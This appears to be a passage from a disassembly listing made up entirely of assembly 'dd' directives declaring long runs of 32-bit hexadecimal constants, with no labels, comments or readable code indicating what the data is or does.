		dd 2EE5050Eh, 0E92BA1DFh, 6820B6E1h, 3E83028Ch,	0B06058A8h
		dd 70639849h, 0E31CD897h, 551303C2h, 1BC0E4h, 0F5BF957h
		dd 8CE4F86Bh, 77DE7000h, 9C58511Fh, 0A4220FE1h,	81602F2Ah
		dd 15E7F5DBh, 0CBE181F9h, 143CA230h, 1E172220h,	0A6561825h
		dd 0FDDB0BFBh, 19230000h, 0B30045E4h, 185AD78Ch, 2D703C62h
		dd 94003F42h, 0F81074B6h, 508B0503h, 9B45F1F9h,	8A6A8D7h
		dd 41FB1364h, 0B2882028h, 3500B8FAh, 541CD27Bh,	120732h
		dd 0A13CAF2Eh, 5E50415Fh, 630028E4h, 0DA33F762h, 0B977A6Bh
		dd 15F09A21h, 2104000h,	0B0053F5h, 85600A3Fh, 0A09FFBB1h
		dd 14CD98Eh, 8B350750h,	31376C7Eh, 20DC87Bh, 88C5D300h
		dd 0A94DF93Eh, 66B20358h, 0CE469A15h, 0D88025A8h, 0F0AD2C00h
		dd 0E7C5BCA7h, 9E401C1h, 51A2F98Dh, 7DECF0C7h, 0EB212914h
		dd 0D94F0080h, 44CE1FBDh, 33DC0045h, 1EC784Ah, 3E006BEEh
		dd 0B7266CB8h, 741A492Dh, 0A8B8ACh, 9A20D130h, 0A2229372h
		dd 1B19A401h, 23F15FF9h, 6C4C802Ah, 495B7BFBh, 0B04B5CC3h
		dd 64E7EFEh, 4F61FD78h,	3D3C097Fh, 7301FC07h, 7554E1C6h
		dd 7420E7F8h, 0D4B62Ch,	0CCA5C92Dh, 0EF0B48D9h,	418CBA1h
		dd 0B890C3ADh, 3BAD319Ah, 7482A532h, 0C1784CF5h, 0CC488460h
		dd 0E6829D1Ch, 0EA0D8780h, 181CBD40h, 8E653225h, 0DF00F7F2h
		dd 9E798062h, 1C6641D6h, 47B38ABBh, 8EF4B686h, 4798F0F2h
		dd 1BE4F101h, 3E48DC99h, 8001543Ch, 0D3A6EA1Ah,	0C89181D8h
		dd 0AC569155h, 0B0A2B320h, 0BCC600C8h, 4CB85C5Eh, 18C08B1Bh
		dd 0AA30A3B3h, 0E8F101CDh, 0E6A6210Ch, 31E2E5ABh, 98A8402Eh
		dd 0B302D622h, 0A51F78F7h, 0F1766034h, 931C00C6h, 99CF35B9h
		dd 0A700CE4Fh, 5FBAEA8Fh, 0B29ABF2Ch, 0D380020h, 0C5B47BD6h
		dd 2500B72Eh, 0FB5FC29Bh, 76A7D09h, 2752DC3Dh, 0F1A380B6h
		dd 9C521EE1h, 20840170h, 0CF6EE68Ah, 7CE9AF0h, 51EDB18Dh
		dd 0C6B38076h, 4CF068C7h, 0C0A9DA25h, 0A2B924B8h, 766CEA74h
		dd 269601F8h, 829CABF4h, 0F0618811h, 0C8509Ah, 0F23AA77Eh
		dd 0F6D1B406h, 6445D700h, 16375C25h, 73890052h,	7AEC47C1h
		dd 0F7F0AAEDh, 0A6923E0Ch, 123F18Eh, 0B60802A4h, 286780D1h
		dd 32910AFCh, 5F00C895h, 0EEA2D2B3h, 0D8E0558Bh, 0E4C99DC0h
		dd 6112752Ch, 3EDD48A5h, 24406E63h, 1BAA0716h, 37B901E1h
		dd 0B5648E19h, 0DC007A3Bh, 545206FDh, 719A015Fh, 33A40479h
		dd 0DB62C439h, 0AE16E48h, 9890D1E9h, 6CFBCA00h,	0CB9B92F1h
		dd 0E4000981h, 588BAC9Ah, 5C8FB628h, 3A993Fh, 724FE203h
		dd 98A6B4FDh, 8B98A9h, 0DF702D35h, 1D385436h, 0DC63BC00h
		dd 0D396C8FBh, 516B0179h, 34DD7AD5h, 2D7CCD55h,	24E32C50h
		dd 0B480B302h, 909940E5h, 1DA7C3Fh, 0D584865Eh,	2C888D91h
		dd 0E43A02DCh, 4252EBD7h, 0C34CC04Ah, 0E5AD3E43h, 166D7C01h
		dd 8362501Dh, 4AD60621h, 2C01A11Ah, 1BC14085h, 0E086C7B0h
		dd 0CD5C844Bh, 3191B930h, 4B9869DFh, 6F800F2h, 66CD3D8Dh
		dd 75041C00h, 10BD29FDh, 20A864FCh, 6CCFC51h, 0E0B3386Ch
		dd 80173C60h, 0A5E6C200h, 34F64A18h, 0DF51F901h, 898E92CAh
		dd 0E5392981h, 8095EAD8h, 0C24EFE78h, 1DFCADh, 0F7664CE3h
		dd 198DF1F6h, 48018773h, 1A8C21A1h, 8289CB4h, 0B02928h
		dd 0EBA6057Dh, 9FC3E95Eh, 40C95101h, 6BE4938Dh,	95D9E840h
		dd 8EA100D1h, 0E870FEE2h, 0F1B8BE6Eh, 525E5D00h, 0ECCBA005h
		dd 67383DCEh, 0BB1CDE80h, 355AD651h, 9412871Ch,	0C0A48A5Fh
		dd 0BCF54900h, 377198h
		dd 6ED377DCh, 28B522E9h, 0AC5B6F2Ch, 0B32AA901h, 0C024033Bh
		dd 14209FC3h, 0C459C1B7h, 603DA701h, 7DB62247h,	1DF3AE0h
		dd 34D1145h, 6C662AE4h,	0E0260040h, 0B50DEE6Eh,	13160010h
		dd 0F4A27994h, 0FD031F7Bh, 964D75B1h, 0FC65A803h, 908F001Bh
		dd 0DB27EE94h, 207F4B5Ch, 62AD0C0Fh, 0F8EA4032h, 1DB4A9CAh
		dd 0C065F2D3h, 0EBA4D13Ch, 0BF16EFA1h, 80001C93h, 0B00566D5h
		dd 580DE8D3h, 0DC00743Ah, 238D6C9Bh, 0B10058F1h, 509656D0h
		dd 40893Bh, 0A94EC8B9h,	6FC71BCFh, 85FE7B90h, 7FEA2400h
		dd 0BBEB65A4h, 31990737h, 0C15DA1B5h, 30649A6Ah, 2000F95Eh
		dd 2D286943h, 48573A50h, 252CFC58h, 0C3C61EDCh,	2FC86061h
		dd 2EC7529Fh, 7109088Ch, 0A86C9428h, 4D00D47Ch,	0B11ADE28h
		dd 0BFEB22Dh, 0BCB530B4h, 21DF68C1h, 73F73040h,	99B65F17h
		dd 9A4CC800h, 7431985Ah, 0C8B016EAh, 4A540183h,	0DC6D7DE9h
		dd 0BD3C2175h, 628A804Eh, 0EECFDA9Dh, 46980751h, 0CF381450h
		dd 58A19F09h, 0F0165E13h, 260E0BFDh, 419D25B4h,	11ABDA52h
		dd 0E31C253Fh, 24C04A48h, 0EEA152C9h, 91BE00F4h, 0F75B9730h
		dd 17077C0Ch, 0CC85884Dh, 0CF914A67h, 5EC8416Ch, 1713F419h
		dd 117E4Bh, 5FBB7124h, 0D10214EFh, 65DC0884h, 6404414Dh
		dd 1E0D130h, 0FD4E8ECEh, 0C8B08CC8h, 0B82CC45Dh, 0DE82048Ah
		dd 20F9996Eh, 96338C07h, 21428730h, 24ABEDh, 0F3A50CF2h
		dd 831F9751h, 4CC19207h, 402F561Ch, 0CB1AE975h,	0D26E098Eh
		dd 7C00C7CDh, 216A9AF8h, 6B5A3Dh, 0E1163829h, 29C5E2Fh
		dd 48E9C754h, 0F47C4515h, 42EEB9Eh, 7E19FE62h, 960100ECh
		dd 2F9EDF5Ch, 0C2C59000h, 7AF14591h, 7480581Eh,	5E0C804Ah
		dd 6AE274F2h, 5400A0B2h, 8B64A03Eh, 0EA30B6h, 3F0529A4h
		dd 0B537155Bh, 14A2EE0Fh, 7E9620B8h, 0B7E0C130h, 8809012h
		dd 208041F8h, 0C878AB58h, 46C1827Eh, 9C80D83Fh,	3BAD28E7h
		dd 6D213200h, 2E599602h, 0D9ED1ABCh, 987C51F1h,	653AF38Fh
		dd 94989B5Eh, 7BEA00EBh, 7DA2A036h, 0F01F23E8h,	4A4086F4h
		dd 11394DE2h, 34CB80Eh,	0C45EE95Fh, 7B812251h, 2119814Fh
		dd 44C282A5h, 5675E4h, 0DCFD5A86h, 8CB96B8h, 4D3DE1ECh
		dd 0AD0D85CCh, 8B974F0h, 0B7076300h, 67646B92h,	0C838BD01h
		dd 9657FFF7h, 97452A60h, 3085C407h, 1051DF91h, 0EA00C5FCh
		dd 0D9386A49h, 4B3225Fh, 75393A2Dh, 0F4B8FAh, 90E4778h
		dd 9658538h, 0ABD04BF4h, 0D92B94A5h, 4902A54h, 2B15CF3h
		dd 0AE60F557h, 0D4C9C573h, 0E0C43433h, 5548A49h, 822A970Eh
		dd 0E108CDCh, 9936B21Fh, 84163381h, 0D337200Dh,	80B5673Eh
		dd 42B86DF6h, 11CD7Eh, 144373A7h, 85699F3Ch, 3883512Ch
		dd 0B0204A97h, 323AAC77h, 0E3A88112h, 9DCDD6C0h, 4B5CC0Fh
		dd 104DA07Ah, 16E229Ah,	0C6F945F0h, 80D939CDh, 13AC2719h
		dd 35495h, 650D7826h, 537FADB0h, 15DCE950h, 0CCD0A74Fh
		dd 0B83FF36Eh, 12749C58h, 0A26000DEh, 0BCC1A5B1h, 5AF881BFh
		dd 845083EBh, 5DB85975h, 0C70E8835h, 8CC09908h,	0CD88195Ch
		dd 0F185D1DDh, 1C2059C6h, 9494369Eh, 2AE950A8h,	80715B39h
		dd 0DA986691h, 18D7F6D0h, 59246742h, 1E8154C3h,	2EA8882Ah
		dd 77FC2F40h, 0EA7A4Ch,	0EB89C05Dh, 0CFFB8020h,	0A1063CBAh
		dd 0B59F8E2Bh, 6DEE0511h, 0E0B0E309h, 93448F24h, 7432002Ch
		dd 38A20FEAh, 7BF2F34h,	0F730A314h, 92D6E139h, 8EF5C10h
		dd 0FD46C2Eh, 730348A9h, 0D904686Dh, 7887385Ah,	80E20B83h
		dd 922B41F9h, 0B7DB0044h, 186A7697h, 0E090427h,	2D2555Ah
		dd 0C12D7578h, 0EC38D196h, 639A0F77h, 0FF05B635h, 8C9C2043h
		dd 0F8248816h, 0A700CC22h, 49823260h, 30C658C7h, 61FECF07h
		dd 0F8342084h, 284C446Ch, 1C8605D0h, 0E8C0AFE0h, 0ED4A0Bh
		dd 0E7133C70h, 105E02A8h, 1893Ah, 0F906A7F6h, 0AA8C18h
		dd 57931CFDh, 0A5F1769Ch, 5BA0E000h, 0BE1E8E9Fh, 128BC98h
		dd 869AF3B7h, 0F7D6E8ECh, 744A7A00h, 3AA961FDh,	0F6C0B0BCh
		dd 173410B5h, 0A3E50254h, 74ED8622h, 0F0EAA52Ch, 3109080Ch
		dd 48AC542Fh, 48690DA4h, 6D00181Eh, 70743EF2h, 85BDFCF5h
		dd 0C081D304h, 40CEC813h, 92B65CA0h, 4889B540h,	0BD2ED880h
		dd 1E01E668h, 263A6AA8h, 0C0404D21h, 8871A1h, 0CA0F437h
		dd 557C4E66h, 985C107h,	0EF0DF80h, 0BFEC063h, 0AB726DAh
		dd 12022CF8h, 9014448Fh, 0BCDCA084h, 770EFF3h, 3EB1E0BFh
		dd 0D893D09Fh, 2879C3F8h, 1DE66009h, 0C23C20B7h, 48EFDBE3h
		dd 8109D0E8h, 0CCD0CB7Dh, 975A2512h, 319FD002h,	0E280E09Bh
		dd 96912DEh, 0F7F800DFh, 0D177C31Ch, 0E40431Eh,	8AA584B9h
		dd 30B074A4h, 0D70CF54Dh, 0A59FC41Ch, 4863681h,	5FC7787h
		dd 0CED0E1Ch, 0FBA075B2h, 0FD707D8Ah, 3C245038h, 0E2CCAAh
		dd 7A1EBAD8h, 6653CCh, 72A52B75h, 0FAABB1A1h, 87E54B05h
		dd 0C07937h, 1987B84h, 0AD51F2BFh, 0D029F8E9h, 2F331430h
		dd 76E80Dh, 11541370h, 1D1CC845h, 0A7C33B07h, 0B75071EBh
		dd 35B619h, 0FF70F167h,	0C4E315A8h, 0BFD97900h,	0AF8BC193h
		dd 0F6630BBBh, 0CD0DE7Bh, 0EF0AC604h, 20807644h, 48202A72h
		dd 5039FC2Fh, 5CCEBD80h, 0F7F9AB17h, 0B69EBE09h, 3D47405h
		dd 22CA413h, 0C4ECE9BCh, 5CCA2780h, 27F48C2Ch, 0E90F3068h
		dd 914C6F16h, 90A2C402h, 3C207166h, 0C2A4B002h,	90C86361h
		dd 33787A1Dh, 974C0204h, 4080D493h, 7863E037h, 20AE584Dh
		dd 5F8F8813h, 0D80AE7A8h, 0C56E0BB8h, 85D04000h, 0DE4C9C1Ah
		dd 8A1E7718h, 79010E97h, 17E851B4h, 3C345130h, 606F2630h
		dd 648546CFh, 8626C06Ah, 0A9009182h, 78F79F9Bh,	905EBAh
		dd 697311BCh, 1AB521F9h, 10B3CA4Ah, 0A6F4B901h,	314DEFDEh
		dd 1E8810A0h, 0A9120DC5h, 28A87651h, 7112E2E2h,	1E14233Ch
		dd 0E3FF40F0h, 0F27C9D14h, 36032BF4h, 73DF797Dh, 0AE98BF3h
		dd 3FBFDB71h, 687A25C0h, 0FF74A3F2h, 0CB4821C1h, 8474408Ah
		dd 4BF830h, 0E6367D34h,	9B419E7Fh, 0D8C02CB0h, 0BE2E8BEFh
		dd 22B8BAF6h, 184F9CB9h, 41903022h, 0BA114300h,	0ECF8C5BBh
		dd 0D4189615h, 0CDC92FC8h, 2C887694h, 40A451E2h, 8F2B59D2h
		dd 8C0B454Ah, 3A1CA3EBh, 5063A1CBh, 26B1C8D4h, 9208AB9Dh
		dd 0A710801Ch, 0CF44E0ACh, 0A0930153h, 0DF65E394h, 1743C4F1h
		dd 4EEB6A00h, 83C95D1h,	0B213034Ah, 646E9F33h, 39B48094h
		dd 0E5247253h, 2000AE78h, 0DF0AB415h, 5E133B7Eh, 98075182h
		dd 346B5D1Bh, 0AE7981D8h, 14874800h, 0E4B35FFEh, 0E1AB0031h
		dd 1B27CAA9h, 0ECE9F660h, 0BB163F70h, 0D448861Eh, 0BB3C569Ah
		dd 5FF3875Eh, 0C321B7A7h, 0FBF888C6h, 92B37A0h,	81EDD5E8h
		dd 2CA6D3E8h, 491292ECh, 743F20B0h, 0DFCC30B0h,	7BEE9411h
		dd 0F9567001h, 0BE0DA49Ah, 0A3D5B864h, 0D96915C4h, 9B00D4DFh
		dd 691722A6h, 3C07F36Bh, 0CEC1890Ch, 0DA07D630h, 0E2B0001Ah
		dd 90A02998h, 60925078h, 616C0955h, 0A4D8A415h,	2CA52100h
		dd 98B40A0h, 94DF5C3Dh,	3BAFD020h, 0B51681CFh, 0B4F0B393h
		dd 0F05009Eh, 9D599549h, 230571DAh, 0CA3F5B87h,	989D480h
		dd 0C8B202DBh, 0CBBA5FF9h, 0A8DDF840h, 0E497A70Fh, 0AB51E07Ch
		dd 7861ACEh, 9914966Fh,	7D71083h, 0F6006AA3h, 0EBAD38BCh
		dd 0EC89F1BFh, 0D3D916B1h, 39C40381h, 57BA06ECh, 0EEDFA100h
		dd 0DDA83E42h, 0DCAA4401h
		dd 46A943EDh, 10FC0908h, 601F849Eh, 5AA5C900h, 2A9CDE6h
		dd 0AC309A5Eh, 18C03931h, 0C4B0D7FBh, 0CE8FCF38h, 8ED48403h
		dd 0E881E89Ah, 0B9213A13h, 0FCB7A900h, 982FC6B3h, 0A02548h
		dd 0FA62FE5Eh, 58B845h,	713BABDEh, 54492F7Bh, 8B5FB51Dh
		dd 470DC4C0h, 85519Fh, 7C65D421h, 1FA1F7D1h, 3B8B1402h
		dd 48962B8Ah, 1D4C8A8h,	6001A92Eh, 30BA2648h, 5817C7A8h
		dd 104482E8h, 20BA5576h, 0A15EFF74h, 0B07CBC2Eh, 7B950E00h
		dd 3721C25h, 42E3B344h,	8088498Dh, 0A3003B8Ah, 109BCE70h
		dd 1297C077h, 43CD6DA4h, 0DABFD340h, 74E0B29Ah,	0F8006AD1h
		dd 0E77F9173h, 268E2E9Fh, 822C6D72h, 874C055Dh,	0BC94DBh
		dd 20886BEBh, 31A9B5F6h, 3D985593h, 2EE6FDDAh, 993E2420h
		dd 0B8C9076Dh, 0D0593C52h, 9DBC2FA6h, 9B117D60h, 4D393C8h
		dd 3791709Eh, 6BE8A1F5h, 0D2882C09h, 316071A0h,	0F61932B9h
		dd 8148290Bh, 0C36D4CFAh, 738034h, 0FF98341Fh, 7C9EA25Fh
		dd 0F72CD0C0h, 0C0A5AAB6h, 71F22511h, 0B90035A3h, 0FC9BE3ACh
		dd 9836BAh, 8AE44930h, 4C932BE5h, 904DC27Ch, 68E0007Ch
		dd 1674F02Ch, 44F8C05Ch, 25E9D19Ah, 871F8CE2h, 20C0D551h
		dd 736FCA78h, 80C63C5Bh, 0A495A4h, 3261D47h, 0C1006BEDh
		dd 2FAAC5A9h, 9981B2h, 0B1480C04h, 55E2014Eh, 0E9AF1200h
		dd 0A262F275h, 69F5005Ch, 0DBC52E81h, 0BE130BE8h, 0DCACB7D8h
		dd 83030500h, 81010D66h, 6A0F682Dh, 9080C30h, 0CB42751h
		dd 6D0F6452h, 603AFE09h, 541ED20Dh, 0DCD53810h,	0D4DFE409h
		dd 0EBF39C01h, 0B8D70153h, 125A4D4h, 0ACAF57BBh, 0D898CF90h
		dd 0A9011687h, 42B1FF11h, 0EC6C8210h, 2E5D3800h, 0CC71A6Bh
		dd 0AAACE700h, 0E470B40Dh, 94970005h, 0D1613FA9h, 394A9A0Eh
		dd 3E854F0h, 0E759A4C8h, 0E1D0A2C6h, 5800A7CBh,	33AACEE4h
		dd 5AE327Eh, 2A87B037h,	2FD1D5Ch, 2CC56362h, 73802C56h
		dd 7F5AF612h, 4A079D6h,	0C8409C5Dh, 882CEC37h, 9DF6801Eh
		dd 14BD8076h, 0F27D2600h, 3A37B424h, 971E03BCh,	4CBEC5E6h
		dd 1034DCC8h, 697E4B17h, 5826E407h, 766DE56h, 660DD54Ch
		dd 6B2820F6h, 675F7899h, 0C0353082h, 3DD67Ch, 3FD87051h
		dd 3ED77150h, 91208A3h,	68E08401h, 3D711424h, 2105A0B9h
		dd 0FC4F42BDh, 100D02BCh, 81CA0F14h, 839BC3D0h,	0D481B468h
		dd 24DEECB0h, 20989258h, 0A6080100h, 0ED633842h, 0DE020952h
		dd 600044BAh, 1279970Ch, 189AEB03h, 803B17FEh, 266D81DFh
		dd 11CE3A0h, 0D76041EFh, 0F4902ED2h, 0F3C86544h, 0D4F8802Eh
		dd 0F91E6A47h, 0F4077CBAh, 6ACBA868h, 80B4767Ch, 92B659E5h
		dd 0BF288BD3h, 3113A06Fh, 44F1453Fh, 344A4F8h, 34EE8F1Fh
		dd 0DA05BC7h, 0C40010DFh, 3A3B2D73h, 3084B79h, 153D68CBh
		dd 9AF88DFEh, 0C044302h, 95C9CC84h, 0A7C2CE8h, 157E17B6h
		dd 3BAD05F7h, 2D87803Eh, 710F7530h, 42FB7BE7h, 60A50A23h
		dd 58FAF8h, 86569920h, 0CF45DDC6h, 6CE8090Eh, 0B69641F3h
		dd 0BE7005CBh, 0D5BE0024h, 74F8DEF2h, 852D69D0h, 3A506681h
		dd 4B025A42h, 41976C84h, 0DA9B2C63h, 4A1253A0h,	887B7F2Eh
		dd 66B87000h, 0FCF284Dh, 652EC343h, 5B4F4400h, 7A003A56h
		dd 0C9541DD2h, 6036DD24h, 4BCAF0BFh, 2A00A1E3h,	7C6CC226h
		dd 1EEA30C7h, 4085B969h, 0FE685E72h, 0D900902Ch, 462C409h
		dd 60C1CBDh, 0A3844DDh,	5E00806Dh, 57283520h, 0C33B3DFh
		dd 458CF623h, 7F442F0h,	0D4B04C7Dh, 668F5904h, 4D0053FFh
		dd 0B45EFACBh, 40F8C90Bh, 0B510A5B6h, 0F009081Bh, 7AFC4FCh
		dd 95D893CBh, 99D221D1h, 9C6F70D5h, 94040290h, 0CB979B48h
		dd 203B6880h, 594B81Bh,	0C5C4A6B6h, 59A4008Bh, 78EF4393h
		dd 9BF00912h, 1DF61CF0h, 9AADA77h, 68005894h, 82AC6924h
		dd 561D8304h, 7AAB334h,	0F03D8C30h, 9EDBBD2Ch, 0FE914D00h
		dd 2F1492EEh, 0B7E014AFh, 0C600995Ah, 0FBD56061h, 1100FFAAh
		dd 0CB0607B0h, 87E36Dh,	4C9C5893h, 8ABA32FDh, 91867105h
		dd 41AEA1A5h, 5F03A408h, 78EDE0A9h, 0EB006AE8h,	0C91E8276h
		dd 19CA889h, 6E81B972h,	20CF2B3Bh, 99006C45h, 0EFE8E3D8h
		dd 51C8B17h, 1B9803AFh,	22B8E941h, 2C0E009Eh, 0F003D2C5h
		dd 2D5F6DF1h, 0DE92ECC1h, 0D194B447h, 8164A880h, 62DCE92Ch
		dd 0F37D04DCh, 0BC247239h, 5C40210h, 0DC288B48h, 0A9038C04h
		dd 22772CBAh, 9A0120B8h, 1EEF58CBh, 10809F37h, 4D0DEC1Ah
		dd 0F100D9D3h, 9DA38833h, 32C662h, 1D36072Ch, 5D7897F6h
		dd 36FFC5Ch, 5E0F4742h,	38809C73h, 3AC674h, 9BB9CC31h
		dd 6FC572E3h, 32AE202h,	740D1AA3h, 0ED5B0350h, 0BFC8CB6Ch
		dd 260C887Dh, 0A1CD43DFh, 23E200BCh, 0A0E3A29Ah, 5E1788A9h
		dd 58070183h, 2710FA71h, 6B32E98h, 95A193EFh, 0CD0009F3h
		dd 2A2F0D4Bh, 2DD6BC09h, 1D4D17h, 5F30C8E4h, 0B859D0B1h
		dd 0F9950EA4h, 0C07298h, 25C6A867h, 0E810DCBEh,	0CA80E960h
		dd 0E8300991h, 28D6h, 4CA6904Dh, 0F38E6602h, 240DD8F1h
		dd 0C841BBE3h, 7DECF0BFh, 40AA5C96h, 218E3B04h,	0C3D3895h
		dd 52BBC11h, 921BE636h,	7D86CC07h, 828BE4D0h, 2824BD03h
		dd 0D38CC094h, 0B3E4FA6Ch, 39DABE00h, 0F9F82431h, 4903018Eh
		dd 0AE790DA2h, 7CDC4034h, 0C30E13CCh, 4067D70Fh, 37DFAC24h
		dd 0E69C90C9h, 0A5ED034Ah, 4FF67523h, 0E480B6E2h, 4DDF0A89h
		dd 3B251890h, 7EACD07Bh, 0B1100540h, 0F81F4E62h, 781589D8h
		dd 94C41C8Ch, 92D383D0h, 97D296CEh, 0FCD52EC3h,	9ED50084h
		dd 536FA2DAh, 0D9A81D56h, 0D4CA2FBFh, 40A9C402h, 658805Fh
		dd 5C6C82D3h, 0AC001480h, 0FCABDC7Dh, 0E526E4AEh, 602DA72Ch
		dd 413D564h, 15C41257h,	0A64BD6Ch, 0C0A82843h, 58FCB081h
		dd 0F0502AC1h, 0F35D03FEh, 9D00AC28h, 8137A7B7h, 4507D116h
		dd 0C8F0CB64h, 0E342BDE7h, 80A48F01h, 0D77BAA17h, 0CB200031h
		dd 0CD9C5915h, 81002B56h, 60A1EC2Dh, 96272C38h,	7FAB0004h
		dd 7AF52082h, 0D57D21C0h, 47819A2h, 18A4964Bh, 0E204B084h
		dd 0C3CF089Eh, 0F81B43ECh, 247412Ch, 0D77EED6Ch, 4C60A2CCh
		dd 0FD0E07C8h, 60AA138Ch, 0B0112E0h, 2880BFB9h,	0C5224769h
		dd 132F4D00h, 0B345890Eh, 0D8A607BCh, 2971F81Bh, 0C646AC00h
		dd 8F07FE05h, 1C9B651Fh, 91BA0149h, 0A0348D10h,	8094B5B1h
		dd 598BAC13h, 5EDDFC02h, 0C6908005h, 2600E22h, 2676F27Ch
		dd 9042041Ch, 0D1B98CDEh, 8C006F98h, 45332A4h, 88B091A8h
		dd 9C01F408h, 2A8EE46Dh, 93723080h, 0A255E14Dh,	57D98F2h
		dd 7B94400Ch, 6D82029h,	7E31BEB2h, 0F6EAB888h, 0F3F9089h
		dd 0A5E58E98h, 0BDD8A04Ah, 8848F306h, 7BB960C3h, 0CF092F12h
		dd 6C06C93h, 5B07B540h,	0B635A4D9h, 0F8E93195h,	0A82E8018h
		dd 0FD1E3EEEh, 0E1D4AE5Fh, 3CEF1F18h, 34845540h, 2E7BD5h
		dd 0D2C7C948h, 0E0698D21h, 0CE1F0F3h, 0AB07E200h, 0AF08E975h
		dd 0FFD90009h, 0B07C2ABEh, 0D500793Dh, 7D19AE43h, 2847B9Eh
		dd 3569DBE0h, 0B0A0EFAFh, 4C874A0Ch, 0F4B0DC26h, 6B95F400h
		dd 2D88F902h, 30F2527Fh, 0F2257700h, 7EF860EEh,	0FFAC1CBCh
		dd 0E086D65Ah, 0D1123C3Ch, 10E8A356h, 8A9F02BAh, 196FCEBBh
		dd 82A200CBh, 0DF9805ABh, 368CDC0h, 52C8D710h, 0DED0B112h
		dd 0FE3AFCBCh, 0EF44460Dh, 0C0CFE318h, 0EC77A2AFh, 95A08903h
		dd 0F13ED3D7h, 3FCAE20h
		dd 671C00F3h, 7EE72C84h, 0B2348F64h, 3EA38D4h, 89F2FED4h
		dd 83666800h, 57A1C5CEh, 82AA1335h, 30F8ACA4h, 0D6B478D4h
		dd 6298980Ch, 6CCE9953h, 0EF895889h, 6908F45Ch,	72FC0055h
		dd 0BDB52EC4h, 762A0084h, 453A0FAAh, 0DD0E0285h, 1DB93D93h
		dd 14D52C7h, 0D8C44CF3h, 0B80AE1h, 1058A2E0h, 0CEC58F12h
		dd 0C3955F00h, 45D36BBBh, 0BE6000F8h, 8EB7B047h, 0FD0E7BDDh
		dd 20329048h, 0CFAB0CB6h, 54652F56h, 2E6276E0h,	9CB34600h
		dd 0E8C25F64h, 7EE478h,	5D8751B7h, 31EA70B1h, 1DA0D23Ah
		dd 0F00E84C6h, 4E1D40B4h, 0C65BEh, 263EAA48h, 7847D5E9h
		dd 0A0C68500h, 0C4674180h, 73E60020h, 0ABB2844Dh, 8D5B58E2h
		dd 10006CF2h, 0B62EB33Ch, 0C70F0EE8h, 478897A2h, 9B10D959h
		dd 0E49A15h, 0F51CD444h, 1DAB5F0Fh, 40BD1B31h, 0D03BDBECh
		dd 832F8C34h, 1172E732h, 0D890DD2Ah, 8103879Fh,	0A796EF01h
		dd 4447C0FDh, 1D9502E3h, 0A635C18Dh, 0B1E0F08Fh, 2DEC08ABh
		dd 1C0045FCh, 916CA81Eh, 0FE8B3CFBh, 61DA6136h,	0E87EE2DFh
		dd 0ABFA2179h, 0B4BC2800h, 0A9497830h, 1CF2A6h,	5FE49E01h
		dd 1013CE43h, 1102648h,	0B7844AA4h, 0A186E77Fh,	0DCD1A085h
		dd 0EB24EC74h, 5D016C96h, 5C037E14h, 0B984D187h, 80B51528h
		dd 6CDF027Fh, 45249875h, 0B1404068h, 0F63B1371h, 21DB686Ah
		dd 0DFE28034h, 0D174A4ACh, 7740EE1Fh, 6C9632C0h, 31452A48h
		dd 36495F62h, 0D8E980FBh, 0C1AA2DE7h, 0A6860047h, 5898E059h
		dd 99C642A9h, 3961E57Fh, 1FFE6318h, 1910B3C3h, 0FC5558B0h
		dd 0A400B433h, 0F171D021h, 486AD168h, 0C33C8D58h, 7835A780h
		dd 0B6E9A9B9h, 0DE98040Eh, 1BBE83EAh, 0DC1011B7h, 0E1D280E5h
		dd 8849BD92h, 0B830EAD3h, 7B5E41AAh, 46456D6h, 2F0C070Ch
		dd 0D70C0110h, 217706AEh, 3F71281Bh, 187A70C4h,	8EAF86Ah
		dd 20C0D711h, 1A3F7939h, 98A40197h, 0DD20BEC4h,	0F9598052h
		dd 7A943351h, 6DF660h, 441EDCC6h, 52A8B187h, 49622F1Eh
		dd 867BF30Bh, 396A52h, 0A96BCCBEh, 608AFFE7h, 8B74BAB8h
		dd 0AB215960h, 3E26BE4h, 54C3D10Fh, 911824E9h, 0EBD92680h
		dd 520D0039h, 5FCB4020h, 0C8009FD0h, 0E57CF99Bh, 53CD2C9h
		dd 0B75AF4E8h, 8882468h, 6AC09180h, 46A0803Fh, 0E2242h
		dd 863F7234h, 9C012108h, 0FC0C0501h, 7CC161D5h,	110AB050h
		dd 226C0F60h, 788C9DAEh, 4901A719h, 77DCFF95h, 0C4701057h
		dd 8B24020Eh, 0AAD6FE16h, 3F754490h, 5AA08111h,	35802788h
		dd 0DB913F7Dh, 51CB0114h, 0D1532FB1h, 2A218A21h, 4540F8A9h
		dd 0C2BEA350h, 5CF82711h, 1D600444h, 35E0EC31h,	0DF87002Ch
		dd 99347123h, 13124137h, 6B06DC6Eh, 85152A5h, 2D807A44h
		dd 9F812180h, 0A6A31Dh,	254C73FFh, 64412027h, 2B839918h
		dd 43B629h, 48A1DB2Ch, 0A0A97749h, 0BC604A74h, 2DABEF21h
		dd 0F0C10C59h, 0A991E07h, 8D40CB01h, 65DA835Fh,	2AFD8BC0h
		dd 87E4A0EBh, 601344E0h, 79118Dh, 0D17091E1h, 2E5F1E5Bh
		dd 6EEACD01h, 5EEB5396h, 95231023h, 853F7609h, 3022E2FFh
		dd 7E382210h, 0A7265000h, 279D1267h, 519020FAh,	0C4A42CF9h
		dd 0D388FE74h, 0B0751CACh, 1540DE95h, 0A6809C9Ch, 90A1CE2Dh
		dd 0BE224A43h, 2DAEE809h, 18B703A4h, 9E5E842h, 3FE4068Ah
		dd 292783B6h, 61D2F901h, 9051F5F3h, 5696E0h, 8CC4BA6h
		dd 0CBA3D594h, 0C1D8840Ch, 703996Fh, 42BFFCD3h,	0DE8150B4h
		dd 5B7A6945h, 0E5BEDD0Eh, 0B3CD1E9Dh, 0B891307Eh, 2DAC808Eh
		dd 8CA0A1D0h, 96BF44h, 0DA222D94h, 0C1703889h, 34796E60h
		dd 0CD3910h, 2CBF7885h,	4588A055h, 7602EF74h, 6EED1C61h
		dd 0F9D48425h, 7F309432h, 0D797583Fh, 0C22D446h, 3FE73B00h
		dd 717E526Ch, 93EF0060h, 77439DE2h, 7668D553h, 12008C49h
		dd 866FAD89h, 0A02A24FFh, 0D05342E8h, 0A242B846h, 0D523F909h
		dd 56DB5020h, 81302B31h, 0BC9E2124h, 0C4A509E8h, 92003519h
		dd 0BFB87FD5h, 808C2706h, 4828655Bh, 0B985B8C1h, 0EA5646h
		dd 81E0FDF8h, 0B40DF1BEh, 59299F51h, 7965E0FBh,	0F2E12427h
		dd 2AFE822Ch, 58837FA1h, 2A306221h, 51522154h, 9F0B0488h
		dd 0C3A7D143h, 0C02249B0h, 5C8050FDh, 77970017h, 0D2E60787h
